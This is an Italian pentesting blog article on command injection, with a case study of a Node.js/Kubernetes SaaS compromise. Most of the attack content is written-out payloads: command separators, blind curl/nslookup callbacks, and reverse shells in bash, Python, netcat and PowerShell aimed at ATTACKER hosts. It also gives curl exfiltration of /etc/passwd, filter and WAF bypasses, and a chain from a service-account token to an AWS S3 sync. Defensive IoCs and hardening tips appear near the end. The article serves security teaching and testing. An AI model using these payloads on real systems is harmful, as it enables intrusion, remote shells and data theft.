Command Injection: Cos’è e Come Trovarla nel Pentesting

Scopri cos’è la command injection e come individuarla nel pentesting web: payload, blind injection, RCE, bypass filtri e tecniche di detection.
- Pubblicato il 2026-03-12
- Tempo di lettura: 8 min
La Command Injection è la vulnerabilità web che ti dà accesso diretto al sistema operativo attraverso un campo di input del browser. Non devi trovare un hash, non devi craccare una password, non devi scalare privilegi — se il server gira come root (e nel 20% dei casi lo fa), dal primo payload hai il controllo totale. È la forma di injection più diretta che esista: l’input dell’utente esce dal contesto dell’applicazione ed entra in una shell Bash o cmd.exe, dove viene eseguito come comando.
La trovo nel 15% dei pentest web — percentuale che sorprende perché sembra un errore “da principianti”, ma in realtà è insidioso: le applicazioni moderne hanno bisogno di funzionalità del sistema operativo per convertire file, generare report, pingare host, comprimere dati, e la soluzione più veloce è chiamare il comando di sistema. Basta un parametro non sanitizzato per aprire la porta.
Satellite della guida pillar Injection Attacks. Per la variante specifica a livello OS vedi anche OS Command Injection.
Un engagement che ha cambiato la mia percezione del rischio: SaaS per la gestione documentale, 50.000 utenti, stack moderno (Node.js, React, Kubernetes). La funzionalità “converti PDF in immagine” chiamava LibreOffice headless passando il filename come argomento. Il filename veniva dall’utente — upload con nome file report.pdf; curl attacker.com/shell.sh | bash. Node.js eseguiva libreoffice --headless --convert-to png "report.pdf; curl attacker.com/shell.sh | bash" → shell nel container Kubernetes. Dal container → service account token → kubectl → secret con credenziali AWS → S3 con backup di tutti i documenti dei 50.000 utenti. Tempo: 45 minuti.
Cos’è la Command Injection? #
La Command Injection è una vulnerabilità di sicurezza web in cui l’input fornito dall’utente viene passato a una funzione di esecuzione comandi del sistema operativo (come system(), exec(), os.popen(), child_process.exec()) senza adeguata sanitizzazione. L’attaccante inserisce separatori di comandi (;, |, &&, $()) seguiti da comandi arbitrari che il sistema operativo esegue con i privilegi del processo dell’applicazione web.
La Command Injection è pericolosa? Estremamente — è Remote Code Execution (RCE) immediata. L’attaccante esegue qualsiasi comando con i privilegi del processo web: lettura file, download di tool, reverse shell, accesso alla rete interna. Se il processo gira come root (20% dei casi), il controllo è totale senza necessità di privilege escalation. Trovata nel 15% dei pentest web nel 2025-2026.
Come Verificare se la Tua Applicazione È Vulnerabile #
# Test manuali su parametri sospetti
# Funzionalità tipiche vulnerabili: ping, traceroute, nslookup,
# conversione file, compressione, generazione PDF, invio email
# Google Dorks
inurl:"ping.php" site:target.com
inurl:"traceroute" site:target.com
intext:"sh: command not found" site:target.com
# Nuclei
nuclei -u https://target.com -tags rce,cmdi1. Dove si Nasconde — I Punti di Injection #
La Command Injection non si trova nei classici campi di login o ricerca. Si nasconde nelle funzionalità di sistema — ovunque l’applicazione interagisca con il SO:
| Funzionalità | Comando sottostante | Parametro iniettabile |
|---|---|---|
| Ping / Network check | ping, traceroute, nslookup | Hostname / IP |
| Conversione file | libreoffice, convert, ffmpeg | Filename / formato |
| Compressione | zip, tar, gzip | Filename |
| Generazione PDF | wkhtmltopdf, puppeteer | URL / contenuto |
| Invio email | sendmail, mail | Destinatario / oggetto |
| DNS lookup | dig, host, nslookup | Dominio |
| Git operations | git clone, git pull | URL repository |
| Backup | mysqldump, pg_dump | Nome database |
2. Separatori di Comandi — L’Arsenale #
Ogni sistema operativo ha i suoi separatori. Per sfruttare una Command Injection, devi “uscire” dal comando previsto e aggiungere il tuo:
Linux / macOS #
; id # Sequenza — esegue sempre il secondo comando
| id # Pipe — output del primo come input del secondo
|| id # OR — esegue se il primo FALLISCE
&& id # AND — esegue se il primo RIESCE
& id # Background — esegue entrambi in parallelo
$(id) # Subshell — esegue e inserisce l'output
`id` # Backtick — come $()
%0a id # Newline URL-encoded — nuovo comando su nuova riga
{ls,/tmp} # Brace expansionWindows #
& dir # Sequenza
| dir # Pipe
|| dir # OR
&& dir # AND
%0a dir # Newline3. Detection Manuale — Step by Step #
Step 1: Identifica i punti di injection #
Cerca funzionalità che interagiscono con il sistema: conversione, network tools, file operations. Esamina i parametri di queste funzionalità.
Step 2: Test con output visibile #
# Se vedi l'output del comando nella risposta
input=8.8.8.8;id
input=8.8.8.8|id
input=8.8.8.8$(id)
input=8.8.8.8`id`Se la risposta contiene uid=33(www-data) o simile → Command Injection confermata.
Step 3: Blind detection (se non vedi l’output) #
# Time-based — il delay conferma l'esecuzione
input=8.8.8.8;sleep 5 → 5 secondi di delay?
input=8.8.8.8|sleep 5 → provare ogni separatore
# OOB (Out-of-Band) — il server ti contatta
input=8.8.8.8;curl http://ATTACKER_SERVER/proof
input=8.8.8.8;nslookup ATTACKER.burpcollaborator.net
input=8.8.8.8;wget http://ATTACKER_SERVER/$(whoami)Se il tuo server riceve la connessione → Blind Command Injection confermata.
Step 4: Identifica il SO e l’utente #
# Linux
;id # utente e gruppi
;uname -a # versione kernel
;cat /etc/os-release # distribuzione
;whoami # nome utente
# Windows
& whoami # utente
& systeminfo # info sistema
& ipconfig /all # rete4. Exploitation — Da Detection a Shell #
Reverse shell — Linux #
# Bash
;bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Python (quasi sempre disponibile)
;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Netcat (se disponibile)
;nc -e /bin/sh ATTACKER 4444
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
# Curl + shell script
;curl http://ATTACKER/shell.sh | bashReverse shell — Windows #
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"Data exfiltration senza shell (blind) #
# Estrai dati via DNS
;nslookup $(whoami).ATTACKER.burpcollaborator.net
# Estrai file via HTTP
;curl http://ATTACKER/exfil -d @/etc/passwd
# Codifica in base64 per evitare problemi di caratteri
;curl http://ATTACKER/exfil -d $(cat /etc/passwd | base64)5. Bypass dei Filtri #
Spazi filtrati #
# Tab instead of space
;cat%09/etc/passwd
# $IFS (Internal Field Separator)
;cat${IFS}/etc/passwd
# Brace expansion
;{cat,/etc/passwd}
# Input redirection
;cat</etc/passwdKeyword filtrate (cat, ls, id)
#
# Quote insertion
;c'a't /etc/passwd
;c"a"t /etc/passwd
# Backslash
;c\at /etc/passwd
# Variable expansion
;$(/bin/c?t /etc/passwd)
# Base64 bypass
;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
# Wildcard
;/bin/c?t /etc/passw?Separatori filtrati (;, |)
#
# Newline (%0a)
input=8.8.8.8%0aid
# Carriage return (%0d)
input=8.8.8.8%0d%0aid
# Subshell (se $ non è filtrato)
input=8.8.8.8$(id)
input=8.8.8.8`id`WAF bypass #
# Double encoding
%253B%2569%2564 → ;id (dopo doppio decode)
# Unicode
;i\u0064
# Commenti bash
;id #commento per confondere il WAF6. 🏢 Enterprise Escalation #
Web App → Network → AD #
Command Injection → shell www-data → /app/config con credenziali DB
→ DB contiene utenti e hash → crack → credenziali riusabili
→ nmap dalla shell → scopri rete interna
→ BloodHound → attack path → Kerberoasting → Domain AdminTempo reale: 2-4 ore. Il web server ha quasi sempre visibilità sulla rete interna.
Container Kubernetes → Cloud #
Command Injection nel container → cat /var/run/secrets/kubernetes.io/serviceaccount/token
→ kubectl con quel token → lista namespace, pod, secret
→ secret con AWS_ACCESS_KEY_ID → aws s3 ls → data exfilTempo reale: 30-60 minuti. I container Kubernetes hanno spesso service account con troppi permessi.
CI/CD Compromise #
Command Injection → accesso al filesystem → .git directory
→ git remote → URL del repository → credenziali git nel config
→ accesso al repository → modifica pipeline → supply chain attack7. 🔌 Variante API / Microservizi 2026 #
// API di conversione file
POST /api/v2/convert
{"input_file": "report.pdf; curl attacker.com/shell.sh | bash", "output_format": "png"}
// API di network diagnostics
POST /api/v2/health-check
{"target_host": "10.0.0.1; cat /etc/passwd"}
// API di report generation (wkhtmltopdf)
POST /api/v2/reports/generate
{"url": "http://internal-app.local/data\"; curl attacker.com/$(cat /etc/passwd | base64)\""}
// Webhook con URL controllato
POST /api/v2/webhooks/test
{"callback_url": "http://legit.com; wget http://attacker.com/shell -O /tmp/s; chmod +x /tmp/s; /tmp/s"}Nei microservizi la Command Injection è amplificata: ogni servizio ha le sue dipendenze di sistema (ImageMagick, ffmpeg, wkhtmltopdf, git) e i developer del singolo servizio spesso non pensano alla sicurezza dell’input perché “arriva da un altro servizio interno, non dall’utente”.
8. Micro Playbook Reale #
Minuto 0-5 → Identifica le funzionalità di sistema
Mappa: conversione, ping, DNS, file operations, report, email
Per ognuna: quale parametro va al SO?Minuto 5-10 → Test con output e blind
;id |id $(id) `id` # Con output
;sleep 5 ;curl ATTACKER/proof # BlindMinuto 10-15 → Shell
;bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Se fallisce → python/nc/curl reverse shellMinuto 15-30 → Post-exploitation
cat /app/config/* # Credenziali
ip addr; arp -a # Mappa rete
find / -name "*.env" 2>/dev/null # File .envShell in 15 minuti dalla prima detection.
9. Caso Studio Concreto #
Settore: SaaS documentale, Node.js/Kubernetes, 50.000 utenti.
Scope: Pentest applicativo, grey-box.
Funzionalità “converti PDF in immagine”. Upload di un file con filename crafted: report.pdf;curl ATTACKER/shell.sh|bash. L’API passava il filename a child_process.exec('libreoffice --headless --convert-to png "' + filename + '"'). La shell è arrivata in 10 secondi.
Dal container Kubernetes: service account token in /var/run/secrets/, kubectl get secrets -A → secret aws-credentials con AWS_ACCESS_KEY_ID e AWS_SECRET_ACCESS_KEY. Con quelle credenziali: aws s3 ls → 12 bucket, incluso prod-documents-backup con tutti i documenti di tutti i 50.000 utenti.
Tempo dall’upload alla shell: 10 secondi. Tempo al data breach completo: 45 minuti. Root cause: child_process.exec() con input utente, service account K8s con troppi permessi, credenziali AWS in un secret K8s leggibile.
10. Errori Comuni Reali #
1. exec() / system() con input utente concatenato (la causa #1)
Lo sviluppatore chiama il comando con l’input inserito nella stringa. La fix è usare execFile() (Node.js), subprocess.run() con lista (Python), ProcessBuilder (Java) — funzioni che separano il comando dagli argomenti.
2. Filename dall’utente usato in comandi di sistema
L’upload di un file con nome file;id.pdf → il nome finisce in un comando di conversione/compressione. Sanitizza il filename prima di usarlo.
3. Validazione solo client-side Il frontend limita l’input a IP validi, ma il backend accetta qualsiasi stringa. L’attaccante bypassa il frontend con curl/Burp.
4. Container Docker come root Il 30% dei container gira come root. Se la Command Injection dà shell come root nel container, l’attaccante ha accesso completo al filesystem del container — inclusi secret, token, config.
5. shell=True in Python (il classico)
subprocess.run(f"ping {host}", shell=True) → vulnerabile. subprocess.run(["ping", host]) → sicuro. Un parametro che cambia tutto.
11. Indicatori di Compromissione (IoC) #
- Processi figli anomali del web server:
bash,sh,curl,wget,nc,pythonspawned danode,java,php-fpm,gunicorn - Connessioni in uscita dal web server verso IP esterni non noti — reverse shell o data exfil
- File creati in /tmp dal processo web: script scaricati, tool, chiavi SSH
- Comandi nei log web: parametri con
;,|,$(), backtick — payload signature - DNS query anomale dal web server verso domini sconosciuti — OOB exfiltration
- Aumento CPU/memoria del processo web — crypto miner o tool di post-exploitation
12. Mini Chain Offensiva Reale #
Filename Injection → child_process.exec() → Shell Container K8s → Service Account → kubectl → AWS Secret → S3 Backup → 50K documenti utenteStep 1 — Upload malevolo
# Filename: report.pdf;curl ATTACKER/s.sh|bash
curl -F "file=@report.pdf;filename=report.pdf;curl ATTACKER/s.sh|bash" \
https://target.com/api/v2/convertStep 2 — Shell nel container
# s.sh contiene reverse shell
bash -i >& /dev/tcp/ATTACKER/4444 0>&1Step 3 — Kubernetes secret
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token=$TOKEN --server=https://kubernetes.default get secrets -A
# → aws-credentialsStep 4 — AWS exfil
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
aws s3 sync s3://prod-documents-backup /tmp/exfil/Detection & Hardening #
- Mai
exec(),system(),shell=Truecon input utente — usa API con argomenti separati - Whitelist — valida l’input contro un set di valori permessi (solo IP, solo nomi file alfanumerici)
- Sandbox — esegui comandi in container isolati senza accesso alla rete
- Principio minimo privilegio — il processo web non deve girare come root
- Kubernetes RBAC — service account con permessi minimi, non
cluster-admin - WAF — filtra separatori di comandi (
;,|,$(), backtick) - Monitoraggio — alert su processi figli anomali del web server
Mini FAQ #
La Command Injection esiste solo su PHP legacy?
No — la trovo su Node.js (child_process.exec), Python (os.system, subprocess con shell=True), Java (Runtime.getRuntime().exec() con shell), Ruby (system(), backtick), Go (exec.Command con /bin/sh -c). Qualsiasi linguaggio che chiama comandi di sistema è a rischio.
Come la distinguo dalla Code Injection?
La Command Injection esegue comandi del sistema operativo (id, cat, curl). La Code Injection esegue codice nel linguaggio dell’applicazione (Python, PHP, Java). La SSTI è una forma di Code Injection. La differenza pratica: la Command Injection dà accesso al SO, la Code Injection all’applicazione — ma entrambe portano a RCE.
Le funzioni “sicure” sono davvero sicure?
subprocess.run(["ping", user_input]) è sicuro perché l’input è trattato come singolo argomento, non come parte di un comando shell. Ma attenzione: se il comando stesso interpreta l’argomento (es. find con -exec), può esserci comunque un rischio. La whitelist sull’input resta la protezione più robusta.
Satellite della Guida Completa Injection Attacks. Vedi anche: OS Command Injection, SSTI, SQL Injection.
La tua applicazione esegue comandi di sistema con input utente? Un test mirato può scoprire una Command Injection prima che diventi RCE. Per verificare la superficie d’attacco in ambienti autorizzati: Penetration test HackIta. Per approfondire detection ed exploitation e migliorare in un percorso assistito: formazione 1:1. Riferimenti utili: PortSwigger – OS Command Injection, OWASP – OS Command Injection Defense.







